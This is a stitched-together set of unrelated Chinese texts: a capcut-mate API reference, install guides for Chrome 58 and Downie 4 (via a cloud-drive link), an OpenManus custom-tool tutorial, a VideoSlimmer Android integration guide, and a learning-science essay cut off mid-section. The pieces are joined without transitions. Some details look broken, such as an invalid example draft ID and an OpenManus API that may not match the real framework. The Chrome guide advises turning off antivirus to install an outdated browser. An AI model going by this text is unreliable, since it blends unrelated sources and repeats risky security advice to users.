获取草稿文件列表。该接口用于获取指定草稿ID对应的所有文件列表,可以查看草稿中包含的素材文件、配置文件等信息。通常用于草稿内容的预览、文件管理或状态检查。

更多文档

📖 更多详细文档和教程请访问:https://docs.jcaigc.cn

请求参数

Query参数

参数名类型必填默认值说明
draft_idstring-草稿ID,长度为20-32位字符

参数详解

draft_id
  • 类型: 字符串
  • 必填: 是
  • 长度: 20-32位字符
  • 格式: 通常为UUID格式或类似的唯一标识符
  • 示例: 2f52a63b-8c6a-4417-8b01-1b2a569ccb6c
  • 获取方式: 通常从draft_url中提取或由create_draft接口返回

响应格式

成功响应 (200)

{
  "files": [
    "2f52a63b-8c6a-4417-8b01-1b2a569ccb6c.json",
    "video_123456789.mp4",
    "audio_987654321.mp3",
    "image_555666777.jpg",
    "thumbnail_888999000.png"
  ]
}

响应字段说明

字段名类型说明
filesarray草稿相关的文件列表

错误响应 (4xx/5xx)

{
  "detail": "错误信息描述"
}

使用示例

cURL 示例

1. 基本获取草稿文件列表
curl -X GET "https://capcut-mate.jcaigc.cn/openapi/capcut-mate/v1/get_draft?draft_id=2f52a63b-8c6a-4417-8b01-1b2a569ccb6c" \
  -H "Content-Type: application/json"
2. 使用完整的draft_id
curl -X GET "https://capcut-mate.jcaigc.cn/openapi/capcut-mate/v1/get_draft?draft_id=7e8f9a0b-1c2d-3e4f-5g6h-7i8j9k0l1m2n" \
  -H "Content-Type: application/json"

错误码说明

错误码错误信息说明解决方案
400draft_id是必填项缺少draft_id参数提供有效的draft_id
400draft_id长度无效draft_id长度不在20-32位范围内检查draft_id格式是否正确
400draft_id格式无效draft_id格式不正确确保使用正确的草稿ID格式
404草稿不存在指定的草稿ID无法找到确认草稿ID是否正确且存在
500获取文件列表失败内部服务错误联系技术支持或稍后重试
503服务不可用系统维护中稍后重试

注意事项

  1. 参数格式: 确保draft_id格式正确且长度在20-32位之间
  2. ID提取: 从draft_url正确提取draft_id
  3. 文件类型: 返回的文件列表包含多种类型的文件
  4. 权限验证: 确保有权限访问指定的草稿
  5. 实时性: 文件列表可能不是实时更新的,存在一定延迟
  6. 文件状态: 列表中的文件可能处于不同的处理状态

工作流程

  1. 验证draft_id参数
  2. 检查draft_id格式和长度
  3. 查找指定的草稿
  4. 获取草稿关联的所有文件
  5. 返回文件列表

相关接口


📚 项目资源
GitHub项目名称: capcut-mate

ChromeStandalone_58.0.3029.110_Setup.exe 是 Google Chrome 58 版本的独立安装包(离线安装版),不用联网就能装。

这个版本比较老(2017 年的),适合一些老项目、特定环境,或者电脑配置不高的情况。

一、准备工作

  1. 下载安装包

  2. 关闭杀毒软件(可选)

    • 某些杀毒软件可能会误报老版本安装包,安装时可暂时关闭。

二、安装 Chrome 58

  1. 双击 ChromeStandalone_58.0.3029.110_Setup.exe运行。
  2. 如果是 Windows 10/11,可能会弹出“允许此应用对你的设备进行更改吗?” → 点  “是”
  3. 安装程序会自动解压并安装,不需要你点“下一步”很多次,等进度条走完即可。
  4. 安装完成后,桌面会出现 Google Chrome​ 图标,双击即可启动。

三、首次运行设置

  1. 第一次打开 Chrome,会提示“是否设为默认浏览器” → 根据自己需要选。
  2. 登录 Google 账号(可选):

    • 有账号就登录,书签、历史记录、插件会同步。
    • 没账号或不愿登录,直接点“跳过”或“暂不登录”。
  3. 进入主界面后,就可以正常浏览网页了。

四、常用操作

  • 打开新标签页:点右上角“+”号,或按 Ctrl+T
  • 收藏网页:点地址栏右边的星星图标,添加到书签。
  • 查看下载内容:按 Ctrl+J打开下载列表。
  • 清除浏览数据:按 Ctrl+Shift+Delete,选时间范围和要清除的内容。

Downie 4 是 Mac 上专门下载网页视频的工具,简单说就是能把你在网页上看到的视频

1. 先下载好安装包

安装包下载:https://pan.quark.cn/s/0a565156a347 ,先把 Downie_4_4.2.9.dmg文件下载到你的 Mac(比如放到桌面或下载文件夹)。找到这个文件后,双击它,系统会弹出一个镜像窗口。

2. 把 Downie 图标拖到“应用程序”文件夹

在弹出的窗口中,你会看到一个 Downie​ 的图标和一个“应用程序”(Applications)文件夹的图标。把 Downie​ 的图标拖拽到“应用程序”文件夹图标上,等它拷贝完成。

3. 打开 Downie

从“应用程序”文件夹或启动台找到并打开 Downie

4. 首次打开时的设置

如果是第一次打开 Downie,可能会有一些初始设置,比如选择语言、查看使用条款等。根据自己的需求进行设置即可。

5. 开始使用 Downie

现在你可以开始使用 Downie 来下载视频了。打开软件后,按照提示操作,添加视频链接,选择下载质量等。

核心原则

OpenManus的工具系统基于「插件化设计」,所有自定义工具需继承框架的BaseTool基类,实现标准化接口,再通过配置文件注册,即可被AI智能体识别和调用。

一、前置准备

  1. 确认目录结构:在OpenManus项目根目录下,建议创建custom_tools目录存放自定义工具(便于管理):

    mkdir custom_tools  # 项目根目录执行
  2. 核心依赖:确保已安装基础依赖(无需额外安装,框架自带工具基类):

    pip install openmanus  # 若未安装框架核心包

二、步骤1:编写自定义工具类(核心)

所有自定义工具必须继承BaseTool基类,并实现3个核心要素:

  • name:工具唯一名称(AI通过名称识别工具)
  • description:工具描述(关键!AI通过描述判断何时调用该工具,需清晰说明「用途+输入格式」)
  • run():工具执行逻辑(接收输入参数,返回执行结果)

示例:开发「实时天气查询工具」

创建custom_tools/weather_tool.py文件,写入以下代码(含完整注释):

# 导入框架核心基类和结果封装类
from openmanus.tools.base import BaseTool, ToolResult
# 按需导入第三方依赖(如请求网络需requests)
import requests

# 自定义工具类,必须继承BaseTool
class WeatherQueryTool(BaseTool):
    # 1. 工具唯一名称(不可重复,建议英文)
    name = "WeatherQueryTool"
    
    # 2. 工具描述(核心!需明确:用途+输入格式+输出说明)
    description = """
    用于查询指定城市的实时天气信息,输入格式为「城市名」(如:北京、上海),
    输出格式为「城市名 + 温度 + 天气状况」(如:北京 18℃ 晴)。
    仅当用户询问天气相关问题时调用该工具。
    """

    # 3. 工具执行逻辑,必须实现run方法
    def run(self, city: str) -> ToolResult:
        """
        参数说明:
        - city: 字符串,用户输入的城市名
        返回值:ToolResult对象(封装执行结果,必填)
        """
        try:
            # 步骤1:校验输入(可选,增强健壮性)
            if not city or len(city) > 10:
                return ToolResult(
                    success=False,  # 执行失败标记
                    content="输入无效!请输入正确的城市名(如:北京)"
                )
            
            # 步骤2:核心业务逻辑(调用免费天气API)
            # 替换为可靠的天气API,此处使用wttr.in(无需密钥)
            url = f"http://wttr.in/{city}?format=3"  # 精简格式:城市名: 天气 温度
            response = requests.get(url, timeout=10)
            
            # 步骤3:处理响应并封装结果
            if response.status_code == 200:
                weather_info = response.text.strip()
                return ToolResult(
                    success=True,  # 执行成功标记
                    content=f"✅ {weather_info}"  # 返回给AI的内容
                )
            else:
                return ToolResult(
                    success=False,
                    content=f"❌ 天气查询失败,API响应码:{response.status_code}"
                )
        
        # 异常处理(必加,避免工具崩溃)
        except requests.exceptions.Timeout:
            return ToolResult(success=False, content="❌ 网络超时,无法查询天气")
        except Exception as e:
            return ToolResult(success=False, content=f"❌ 查询出错:{str(e)}")

关键说明:

  • ToolResult:框架规定的结果封装类,必须返回该类型,包含success(布尔值)和content(字符串)两个核心字段。
  • description的精准性:AI完全依赖这段描述判断「是否调用该工具」,需明确:

    • 工具用途(如「查询指定城市实时天气」)
    • 输入格式(如「输入为城市名,例:北京」)
    • 适用场景(如「仅用户问天气时调用」)

三、步骤2:配置文件注册自定义工具

修改OpenManus的核心配置文件config.yaml(无则从config.example.yaml复制),将自定义工具添加到tools列表中:

1. 复制配置模板(首次需做)

cp config.example.yaml config.yaml  # 项目根目录执行

2. 编辑config.yaml,添加工具配置

找到tools节点,新增自定义工具的配置项:

# config.yaml 核心配置片段
llm:
  type: openai
  model: gpt-4-turbo
  api_key: "sk-xxxxxx"  # 替换为你的LLM密钥
  base_url: "https://api.openai.com/v1"

# 工具注册列表(内置工具 + 自定义工具)
tools:
  # 保留框架内置工具(按需取舍)
  - name: BrowserTool        # 浏览器工具
  - name: CodeExecutorTool   # 代码执行工具
  - name: FileTool           # 文件操作工具
  
  # 新增自定义工具(关键配置)
  - name: WeatherQueryTool   # 必须和工具类的name一致
    path: custom_tools/weather_tool.py  # 工具文件的绝对/相对路径
    enabled: true  # 是否启用该工具(默认true)

配置说明:

  • name:必须和自定义工具类中定义的name完全一致(大小写敏感)。
  • path:工具文件的路径,支持相对路径(相对于项目根目录)或绝对路径。
  • enabled:是否启用该工具,设为false则AI不会调用。

四、步骤3:测试自定义工具

编写测试代码,验证自定义工具是否能被AI智能体识别并调用:

1. 创建测试文件test_custom_tool.py

import asyncio
from openmanus.agent import Agent  # 单智能体
from openmanus.config import Config  # 配置加载类

# 异步测试函数(OpenManus核心逻辑为异步)
async def test_weather_tool():
    # 步骤1:加载配置文件
    config = Config.from_file("config.yaml")
    
    # 步骤2:初始化AI智能体
    agent = Agent(config=config)
    
    # 步骤3:发送包含工具调用的任务指令
    task = "查询深圳市的实时天气"
    
    # 步骤4:执行任务并获取结果
    result = await agent.run(task)
    
    # 步骤5:打印结果
    print("=== 自定义工具调用结果 ===")
    print(result)

# 执行测试
if __name__ == "__main__":
    asyncio.run(test_weather_tool())

2. 运行测试代码

python test_custom_tool.py

预期输出:

=== 自定义工具调用结果 ===
✅ 深圳: 晴 25℃

五、进阶:支持多参数的自定义工具

若工具需要多个输入参数(如「根据城市和日期查询天气预报」),修改工具类的run方法即可:

示例:多参数天气工具

class WeatherQueryTool(BaseTool):
    name = "WeatherQueryTool"
    description = """
    查询指定城市指定日期的天气预报,输入格式为「城市名,日期」(日期格式:YYYY-MM-DD,例:北京,2026-01-20)。
    若未指定日期,则查询实时天气。
    """

    def run(self, input_str: str) -> ToolResult:
        # 解析多参数
        parts = input_str.split(",")
        city = parts[0].strip()
        date = parts[1].strip() if len(parts) > 1 else None
        
        # 核心逻辑(示例)
        if date:
            content = f"✅ {city} {date} 的天气预报:晴 22-30℃"
        else:
            content = f"✅ {city} 实时天气:晴 25℃"
        
        return ToolResult(success=True, content=content)

测试指令可改为:查询上海2026-01-20的天气预报

六、常见问题与排查

问题1:AI不调用自定义工具

  • 原因:description描述不清晰,AI无法判断何时调用;或工具名称/路径配置错误。
  • 解决:

    1. 优化description,明确「触发条件+输入格式」;
    2. 检查config.yaml中工具name是否和类名一致;
    3. 测试时指令明确(如「用WeatherQueryTool查询北京天气」)。

问题2:工具执行报错「找不到模块」

  • 原因:工具文件路径配置错误,或未继承BaseTool
  • 解决:

    1. 确认config.yamlpath是相对项目根目录的路径;
    2. 检查工具类是否正确导入from openmanus.tools.base import BaseTool

问题3:工具返回结果为空

  • 原因:run方法未正确返回ToolResult对象,或业务逻辑出错。
  • 解决:

    1. 确保run方法最后return ToolResult(...)
    2. run方法中添加日志(如print(city)),调试业务逻辑。

总结

  1. 核心步骤:自定义工具开发需遵循「继承BaseTool→实现name/description/run→配置文件注册→测试验证」的流程,缺一不可。
  2. 关键要点description是AI调用工具的核心依据,需精准描述用途和输入格式;ToolResult是结果返回的标准格式,必须使用。
  3. 扩展技巧:单参数工具直接接收字符串,多参数工具可通过分隔符(如逗号)解析输入,复杂场景可使用JSON格式传参。

​《FFmpeg开发实战:从零基础到短视频上线》一书的“第 12 章  FFmpeg的移动开发”介绍了如何使用FFmpeg在手机上剪辑视频,方便开发者更好地开发类似剪映那样的视频剪辑软件。那么在Android系统上还有一款国产的开源视频压缩工具VideoSlimmer,通过该框架可以更方便地压缩视频大小,下面就来介绍如何在App工程中使用VideoSlimmer。

VideoSlimmer是一款专为Android平台设计的开源视频压缩工具,它通过Mediacodec实现视频压缩功能,并具有较高的压缩性能。VideoSlimmer支持压缩的视频格式包括mp4和3gp。
VideoSlimmer的源码托管地址为 https://github.com/zolad/VideoSlimmer (星星数0.2k),最近版本更新于2018年10月,该版本的压缩包下载地址为 https://github.com/zolad/VideoSlimmer/archive/refs/heads/master.zip
VideoSlimmer提供了两种集成方式:引用在线库、直接导入源码,分别说明如下:

一、引用VideoSlimmer在线库

Android工程引用VideoSlimmer在线库时,需要修改以下两个配置:
1、打开模块级别的build.gradle,给dependencies节点补充下面几行配置,表示引入1.0.0版本的VideoSlimmer库:

implementation 'com.zolad:videoslimmer:1.0.0'

2、打开App模块的src/main/AndroidManifest.xml,给manifest节点补充下面两行权限配置,表示声明读写存储空间两个权限:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

二、直接导入VideoSlimmer源码

由于VideoSlimmer的发布时间较早,为了让小海豚版本的Android Studio Dolphin能够打开它的范例工程,需要对VideoSlimmer的App工程作如下修改:

1、升级Gradle版本

打开VideoSlimmer工程的gradle/wrapper/gradle-wrapper.properties,把下面这行配置

distributionUrl=https://services.gradle.org/distributions/gradle-4.4-all.zip

改成如下这行配置,表示把Gradle版本从4.4升级到5.4.1。

distributionUrl=https://services.gradle.org/distributions/gradle-5.4.1-bin.zip

2、更新工具库的仓库位置

打开VideoSlimmer工程的build.gradle,把里面的两处“jcenter()”都改为以下配置:

// 以下四行添加阿里云的仓库地址,方便国内开发者下载相关插件
maven { url 'https://maven.aliyun.com/repository/jcenter' }
maven { url 'https://maven.aliyun.com/repository/google'}
maven { url 'https://maven.aliyun.com/repository/gradle-plugin'}
maven { url 'https://maven.aliyun.com/repository/public'}
google()
mavenCentral()

因为jcenter仓库已经废弃,所以改成引用国内的仓库位置。
此外,还要把下面两行配置

classpath 'com.android.tools.build:gradle:3.1.2'

改成下面这行配置,表示把Gradle插件版本升级到3.2.0版本:

classpath 'com.android.tools.build:gradle:3.2.0'

3、调整模块的build.gradle

打开VideoSlimmer工程的app/build.gradle,找到下面这行配置:

compileSdkVersion 28

在上面这行下方补充下面这行配置,表示指定编译工具的版本号:

buildToolsVersion "28.0.3"

还要把下面这行配置

implementation 'com.android.support:appcompat-v7:28.0.0-rc01'

改成下面这行配置:

implementation 'com.android.support:appcompat-v7:28.0.0'

改完build.gradle,记得单击Sync同步App工程配置。

完成以上三处修改后,重新编译App安装到真机上,挑选一个视频后进入视频压缩界面如下图所示:

可见选中视频正在压缩当中。稍等片刻视频压缩完成,界面下方展示结果视频的保存路径以及压缩进度,如下图所示:

发现压缩前的视频大小为85MB,压缩后的视频大小为12MB,仅为原视频的七分之一左右,可见压缩效果还是不错的。压缩之后的结果视频放在公共存储空间的Movies目录,完整路径为“我的手机/Movies/VIDEOSLIMMER_yyyymmdd_hhmiss.mp4”,其中yymmdd为年月日,hhmiss为时分秒。

更多详细的FFmpeg开发知识参见《FFmpeg开发实战:从零基础到短视频上线》一书。

Matrix 首页推荐 

Matrix 是少数派的写作社区,我们主张分享真实的产品体验,有实用价值的经验与思考。我们会不定期挑选 Matrix 最优质的文章,展示来自用户的最真实的体验和观点。 

文章代表作者个人观点,少数派仅对标题和排版略作修改。


学而不思则罔,思而不学则殆。

对于「学习」这件事的思考,从古至今,从未中断。如果说《关于学习一些流传甚广的误读和迷思》主要在破除错误认知,那么这篇文章,我们就从最基础的问题,来聊聊「学习」到底是怎么一回事,以及和学习有关的一些关键词。

前两部分,关于学习的「哲学视角」和「微观机制」保留了一些学术概念和抽象术语,便于讲清楚学习为什么发生。如果对「如何学习」这个实践话题更感兴趣,可以跳过前两部分,从第三部分的应用板块直接看起。

哲学视角:我们的知识来自先天,还是后天?

在脑科学蓬勃发展之前,人们对心智、理解、知识就有不少思考。尤其是文艺复兴之后,欧洲进入启蒙时代,理性主义大行其道。这个时代的哲学主流思潮是「认识论」,核心主题就是去探索人类如何认识世界、如何学习和获取知识。其中有三个里程碑式的观点,构成了我们理解「人如何学习」的三种底层假设1,对后来的脑科学也影响重大。

第一种假设:大脑是一张白纸/白板,全靠后天经验。这个观点最有名的倡导者是英国经验主义哲学家洛克。他认为,人刚出生时,大脑就像一块空空的白板。我们拥有的知识,全都是后天通过感官体验,一笔一划写上去的。这个观点非常符合直觉,也是近代教育理论的主流——因为它暗示了每个人都是平等的,只要教育得当,任何人都能成才。

第二种假设:大脑有「天赋观念」,学习是对内在真理的挖掘。这个观点来自法国哲学家、数学家笛卡尔,还有那句著名的「我思故我在」。笛卡尔认为,感官经验是不可靠的(比如幻觉、错觉),上帝在造人时,已经把最完美的知识印在了我们的灵魂里,比如几何公理、因果律等,这些都是「天赋观念」。我们要做的,就是排除外界干扰,通过纯粹的理性思考(我思),去重新发现这些真理。不愧是数学家的世界观。

第三种假设:大脑预设了先天形式,内容依赖后天经验。德国哲学家康德在《纯粹理性批判》中做了一个精妙的综合。他认为,知识的内容来自后天的经验,但知识的形式来自先天的理性。换言之,大脑自带一套整理归纳的逻辑形式,就像一台电脑预装了操作系统。这其中包括时间和空间,这是我们感知的框架;还包括因果律等先验逻辑,这是我们思考的逻辑。只有依赖这些认知框架,我们才有可能从后天经验中积累具体知识。

从左到右依次是洛克、笛卡尔和康德

以这三类观点为代表,后世对人如何认识世界的问题争论了数百年。

直到 20 世纪下半叶,随着脑成像技术和计算机科学的发展,终于迎来了科学的论断:洛克的「白板说」观点是错误的。相对而言,康德和笛卡尔的看法更接近真相。人类的大脑不仅有出厂设置,而且这套设置非常复杂。

现代神经科学证明,刚出生的婴儿就表现出惊人的能力——他们天生就有数感、懂得概率、甚至理解基本的物理定律,比如知道物体不会凭空消失。因此,学习并不是在一片空白上随意堆砌经验,而是基于我们的先天预装系统,通过与环境的互动,不断修正预测、调整参数的过程。

从这个角度来看,人脑可以说是一个「先天结构」与「后天可塑性」完美融合的精妙设计。如果没有先天的预装系统,全靠后天从零开始学习探索,人类很难在短短几年发展出语言、数学这类高级的智能。反之,先天的出厂设置把一切都规定得死死的,大脑就失去了更多的可能性,难以产生卓越的创造力。正是现有的大脑结构,才让我们既学得快,又能灵活适应各种复杂的环境。

微观层面:「学习」到底是如何发生的?

高中生物告诉我们:大脑中的基本细胞结构是神经元,而神经元之间的信息传输,是通过突触完成的。这里面有两个关键信息。

典型的神经元结构(关注「突触」「轴突」「髓鞘」的位置)

神经元

神经元是我们大脑的出厂配置。人脑大约有 860 亿个神经元,这个数量在出生时差不多就定型了。尽管成年后部分脑区仍有生成新的神经元的能力,但它对总体数量来说影响不大。

突触

神经元不是独立存在的,它们通过身上数量众多2的突触彼此联结,形成神经通路。有个很经典的比喻:每个神经元就像一个八爪鱼,有很多的触手。当两只八爪鱼的触角握在一起时(实际上不会完全接触,中间有小的间隙),这个连接部位就是「突触」。

突触的连接是高度动态,且后天可塑的。你可以把它理解为大脑的参数。每当我们学习时,突触及周围的结构就会进行相应的变化和调整。所以人的一生中,我们的突触一直在不断改变,而这些改变对应的现象,就是我们所说的「学习」。

突触传递信息图解(高中生物课本截图)

这里有一个常见的误解:既然突触和学习有关,是不是随着大脑发育,突触数量也会随之增多呢?并非如此。大脑中的突触数量,不是随年龄越来越多,而是呈倒 U 型曲线。在 1~2 岁(婴儿时期)达到巅峰,这时的突触数量大约是成人的 1.5~2 倍左右。从 1~2 岁以后,一直到青春期,突触会遵循「用进废退」的法则:只有被频繁激活的突触才能存活下来,而那些没有用到的连接会被无情地修剪掉。尤其是青春期,大脑会以每秒钟 5000 个的惊人速度消除掉多余的突触。这个过程叫做「突触修剪」(Huttenlocher, 1979)。到成年早期,也就是 20~30 岁,突触数量基本定型,并保持一个相对稳定的数量,直到进入老年,突触才会有明显的下降趋势。

A diagram that shows synapse formation and synaptic pruning over a period of 6 years.
突触形成(2 岁以前)和突触修剪(4 岁、6 岁)的对照图

突触修剪看似反直觉,但自有其目的,那就是将有限的能量集中在最关键的神经回路上,提升和生存有关的信息处理的精准度和速度。简言之,大脑会根据环境,进行后天的「定制化」,优先保障最有可能会用到的知识。

最典型的例子是语言学习。刚出生的婴儿,清一色是语言天才,他们都有分辨世界上所有语音的能力。但成长过程中,如果母语环境没有某种发音,那么负责辨别这些语音的突触就会因为长期闲置而被修剪掉,从而换取母语处理的深度和速度。比如,说中文的人很难发好英语中清辅音 θ 和浊辅音 ð,说英语的人很难发法语中的元音 u、eu和汉语中带韵母 ü 、üe 的音,日语母语者则无法分辨 r 和 l 的区别,这个最经典的梗就是日本人分不清 election 和 erection,在克林顿丑闻上闹了笑话。

而且,这个进程比我们想象得要早很多:对元音来说是 6 个月,对辅音来说是12个月,也就是说,一岁大的婴儿就会受到母语影响,主动保留与自己生活环境中的语言相关的音素。这解释了为什么成年人学外语时,无论怎么努力,有些音就是听不准、发不好。因为大脑早早就删除了识别这些声音的神经连接,想要重建,可以说难上加难(但不是完全没有可能)。

还有一个很重要的概念叫「关键期」,家长和做儿童教育的朋友应该不陌生。关键期本质上就是突触连接的固化窗口期。过了关键期,相应功能未被激活突触就被修剪掉了,孩子有可能损失掉一部分的潜能。这和上面讲到的语言学习是一样的道理。不过,科学研究表明,关键期并不是绝对的,所以现在倾向于把它称为「敏感期」。家长们也不必太过焦虑。

既然神经元数量基本恒定、突触数量又在不断减少,「学习」是如何发生的呢?

长时程增强(LTP)

首先是突触连接的强化。 神经科学中有个著名的「赫布定律」(Hebb, 1949):一同被激活的神经元,会连在一起(Fire together, wire together)。 它的意思是说,当我们不断重复学习某项技能、某个知识时,相关的神经元会被频繁地同时激活。这种高频的刺激,会让它们之间的突触连接变得更粗壮、更高效,信号传输的阻力越来越小。神经科学上把这叫做「长时程增强」(LTP)(Bliss & Lømo, 1973)。这是记忆形成的关键,也是学习最核心的环节之一。

髓鞘化

除了突触的连接变强,大脑还有一种让学习更高效的方式,那就是「髓鞘化」。 

如果说突触起到连接两个神经元的作用,那么髓鞘就是包裹在轴突外面的绝缘层。就像电线包了胶皮能防止漏电,髓鞘的形成能让信号的传输速度提升几十倍甚至上百倍。 当我们反复练习某个技能,比如弹钢琴或说外语时,大脑不仅会加固突触,还会给轴突这条神经通路裹上更厚的髓鞘。

「髓鞘化」示意图(这里日语的「轴索」对应中文就是「轴突」)

所以,从微观层面,「学习」主要是基于大脑物理结构的两个进程:一方面是做减法——大脑会做「突触修剪」,保留环境中反复出现、对个体至关重要的神经连接,起到精简、降噪的作用; 一方面是做加法——通过「长时程增强」加固常用的连接,并通过「髓鞘化」把核心的通路包裹起来,起到提速、强化的作用

这个过程就像在原始山林中开荒和修路。你既要挥起镰刀,砍掉那些用不着还挡路的杂草和枯树;又要夯实土地,把狭窄的土路铺成平整宽阔的高速公路。只有完成这两个步骤,并在后期不断维护,才能保证道路的畅通无阻,这就是我们所谓的「学会了」。

如何学习:影响学习的四大支柱

讲到这里,深奥的学习问题就变成了一个实际的操作问题:我们如何怎么做,才能最好地激活与要学的知识相对应的神经元,告诉它们——哪些东西应该被强化,哪些东西应该被修剪掉呢?3

这个部分我不打算重复造轮子,会直接引用权威认知科学家斯坦尼斯拉斯·迪昂在《精准学习》中总结的「学习的四大支柱」,来讲和学习有关的几个核心概念。当然,我会脱离书本,补充一些生活中的例子,还会补充一些关键词,帮助大家后续拓展阅读。

注意

我们都有这种体验:网课开着,但你正开着小窗,和朋友聊得火热。虽然声音进入了你的耳朵,但其实什么都没听见。事实上,这种无效的学习状态在日常学习中占比很高,当你很困、很累、情绪很激动、边听讲边玩手机、听英语听力听到走神的时候,大脑并没有对这些信息进行加工(或加工效率极低),学习压根就没有发生。

几乎可以这样断言:没有注意,就没有学习。注意力是生物进化中一项古老且重要的信息筛选系统,它能帮助我们从嘈杂的环境中,迅速判断出大脑应该处理哪些信息。所以,不仅学习这种大脑高等功能需要它,发现危险、及时逃命这些生命本能也需要它。由于大脑的带宽有限,学习的过程,就可以看作理智大脑和原始大脑在抢夺控制权,夺取注意的过程。

「注意」绝对是一个值得专题来讲的话题,尤其是在短视频、手游当道的如今,我们每个人都在经历着不同程度的注意力问题,这对学习无疑是极度不利的。这里先解释几组基础概念:

主动注意 vs 被动注意(有意注意 vs 无意注意)

很多人会混淆这两对概念。觉得我看视频、玩游戏的时候很专注啊,为什么一看书、一写东西,马上就走神了呢?其实,前者叫做被动注意,它不太消耗意志力,也不怎么费劲,因为我们天生都有被鲜艳的画面和巨大的声响吸引住的本能。而学习的时候需要的是主动注意,要有意识地控制自己的注意力,定向到学习这件事情上。这需要花费精力,通过努力才能达成,是相当脆弱和宝贵的。

还有一种注意叫「有意后注意」,是一种有特定的目的,但不太需要太多意志努力的注意。是经过学习、训练或培养兴趣后达到的高阶状态,后面会在「自动化」的地方提到。

专注时长/注意稳定性

既然主动注意需要消耗精力,自然没法长时间高强度运转。根据心理学研究,不同年龄人的注意时长遵循一个大略规律:3~5 岁大约5~10 分钟;6~8 岁(小学低年级)大约15~20 分钟;9~15 岁(小学高年级到初中)大约 25~30 分钟;成年人的注意时长和青春期孩子大体类似,至多也就 40~90 分钟 。

主动注意时长和年龄的相关性

这就是为什么学校的一节课通常设置在 40 或 45 分钟,中间必须要有课间休息。而幼儿和小学低年级阶段,老师在课堂上纯讲课的时间更短,还要花大量时间和孩子互动、做游戏。此外,我们常用的番茄钟(25 分钟专注 + 5 分钟休息一个循环),也跟这个规律有关。

不过,注意时长存在明显的个体差异,尤其是 ADHD 患者,维持主动注意的生理机制存在一定障碍,建议适当降低专注时长,以免增加不必要的压力。

注意力机制

迪昂的书里引用美国心理学家波斯纳的理论(Posner, 1990),把人脑的注意机制分为三个方面:

  • 警觉,决定了什么时候需要集中注意,通过调试警觉水平,维持大脑的觉醒状态;
  • 定向,决定了应该注意什么东西,放大哪些信息,负责寻找目标;
  • 执行控制:如何处理关注到的信息,并对此加以执行,负责冲突解决、抑制干扰。4

这三件事听起来复杂,举一个例子就明白了:当我们说一个人注意力不好时,可能是他警觉度不够——太困了、太累了,没法保持清醒的状态,也可能是他定向能力弱——容易被干扰带跑、没法从一堆东西中找出目标,也可能是执行控制力差——管不住自己,不知道该先做什么,后做什么,难以把视线从手机移回书本。分清这三点,才能对症下药。

影响专注的主要因素

所以,大家在学习的时候,首先要保证良好的身体状态,维持相对平稳的情绪状态,生病、困乏、吃饱、情绪激动的时候都不适于学习;其次不要在学习的物理空间摆放杂物、搞花里胡哨的文具,同时还要做好隔音;最后,学习时一定不要把手机、pad 等电子设备放在身边,这些都是影响专注的典型原因。

专注模式vs 发散模式

知名 Coursera 课程 Learning How to Learn(《学会如何学习》)5里介绍了两种大脑处理信息的模式。

一种是专注模式,也就是我们要聚精会神的状态。它适合解决熟悉的、按部就班的问题,比如解一道练习题、背诵一个单词。另一种是发散模式,是指我们在发呆、放松、散步或洗澡时,那种思绪游走的状态。

反直觉的是,发散模式也是学习的关键一环。当我们在专注模式遇到瓶颈——怎么想都想不出来时,停下来,把问题交给后台运行,大脑反而能激活更广阔的区域。往往在不经意间,就会闪现灵感。所以,发呆和休息不是学习的对立面,而是深度学习必不可少的一部分。

focused-diffused
专注模式 vs 发散模式

关于注意的相关知识,以及如何保持注意,我手头有很多存货,后续有机会再讲。少数派之前有不少相关的好文章,如注意力使用不完全报告,欢迎自行阅览。

下面提供一些和「注意」有关的关键词,感兴趣的朋友可以更好地建立知识图谱:

  • 专注:日常语境下,常常被视为「注意」的同义词,英语通常译为 Attention。
  • 分心/走神:专注/注意的反面。造成分心的原因有很多,如大脑发育、疾病、健康状况、情绪状态、环境干扰、任务难度、任务类型等。切勿只归结为意志力问题。
  • 心流:极致的专注状态。让人忘记时间,完全沉浸在当下,是一种全情投入的体验。
  • 拖延:往往表现为无法专注。不仅包括注意力的缺失,还包括情绪调节的失败。
  • 多任务处理:专注的另一种反面。在迪昂看来,大脑无法真正同时处理两个需要「主动注意」的任务,实际上做的是自己意识不到的「快速任务切换」,是一种比较低效的状态。
  • 《Attention is All You Need》:AI 界大神论文,大语言模型的奠基之作。和本文关联不明,有可能相关的地方:不论是碳基人脑,还是硅基 AI,只要学会了精准地分配「注意」,就能成功学习。

主动参与

前一篇文章在讲「学习金字塔」时,提到了季清华的 ICAP 理论 (Chi, 2014),以及主动学习的重要性。

「主动参与」这一点很好理解。只有当大脑处于活跃、生成、预测的状态时,才更有助于神经元建立新的连接。与之相反,像是听讲、阅读等被动的学习过程,大脑参与度有限,往往自我感觉良好,但实际效果不佳。

主动学习之所以有效,是因为它和几个重要的学习机制相关:

深度加工

我们都知道,如果机械地背诵一个没有理解的定义,很快就忘了。如果在学一个新知识时,能补充几个生动的例子,和之前学过的概念进行辨析,再编个朗朗上口的顺口溜,理解清楚了就能记很长时间。

后一种情况叫作「深度加工」,原理是:当你学习新知识时,本质上是在激活一组新的神经元。如果只是死记硬背,这组神经元是孤立的、连接很弱的。但如果进行了深度加工,就等于让这组新的神经元和大脑里已有的神经网络建立起关联,促使它们之间生长出新的突触连接,建立丰富的神经通路。这就好比在大脑里留下了更多的钩子,回忆时更容易把这个知识给调出来。

深度加工的作用机制

联想、对比、举例、画面想象、多感官参与、整理大纲/思维导图、以教促学(也就是常说的费曼法)这些主动参与的方法,本质上都是对知识的深度加工,心理学上也有一个类似的概念,叫「生成效应」,就是说自己生成的信息比单纯外界获得的信息记忆更牢固。

主动提取/回想

如果说「深度加工」在学习新知识时非常高效,那么在复习阶段,最好的方法就是主动提取。它的核心方法是:不要直接看答案。要先让自己主动提取大脑中的记忆,再检验它是否准确。

主动提取听起来很深奥,其实我们学习的时候天天都在用它,比如:解题、造句、默写、闪卡背单词、概括段落大意,它们和被动的复习笔记、反复朗读、重复刷一道题形成鲜明对比。

同样是主动提取,水平却千差万别。做选择题往往只需要再认,看到答案觉得眼熟,就能选出来;做填空题就要花点功夫去回想,很容易写不出来。所以,虽然做起来更困难,但尽可能选择提取难度高的方法,这样做学习效果更好。

写作

